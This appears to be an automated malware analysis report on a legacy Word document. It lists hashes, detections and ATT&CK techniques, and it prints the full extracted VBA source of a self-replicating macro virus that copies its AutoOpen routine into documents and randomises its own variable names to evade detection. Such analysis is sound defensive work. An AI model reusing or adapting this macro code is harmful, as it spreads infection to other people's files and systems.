Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 176fb216d6470761…

MALICIOUS

Office (OLE)

38.5 KB Created: 1999-05-09 18:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b2307e7cbf82257e38aa9f9e73b026bc SHA-1: 86cda29d53e5b17dbdaf8149f6b11839bf5a104b SHA-256: 176fb216d6470761b8bf3226a072358d9da5e1993beae8d111285e3d94f1de91
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself and modify its own code, a common technique for obfuscation and evasion. The presence of legacy WordBasic macro virus markers and the AutoOpen subroutine strongly suggest an intent to execute malicious code upon opening, likely for downloading further stages.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-64 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-64
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1085 bytes
SHA-256: 985e873ec6b9219725d3949675fc03fd6dfd9a7fffc9ecd956807cc1146570b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim DUHIM$
Dim DCLUL
Dim PPWMS
Dim A$
Dim B$
Dim C$
Dim D$

On Error Resume Next
D$ = ":AutoOpen"
WordBasic.ScreenUpdating 0
DUHIM$ = WordBasic.[FileName$]()
WordBasic.MacroCopy DUHIM$ + D$, D$
WordBasic.MacroCopy D$, DUHIM$ + D$
WordBasic.FileSaveAs Format:=1
DCLUL = WordBasic.Int(Rnd() * 3 + 5)
For PPWMS = 1 To DCLUL
A$ = A$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
B$ = B$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
C$ = C$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
Next PPWMS
WordBasic.ToolsMacro Name:="AutoOpen", Edit:=1
WordBasic.EditReplace Find:="DUHIM", Replace:=A$, ReplaceAll:=1
WordBasic.EditReplace Find:="PPWMS", Replace:=B$, ReplaceAll:=1
WordBasic.EditReplace Find:="DCLUL", Replace:=C$, ReplaceAll:=1
WordBasic.DocClose 1
End Sub

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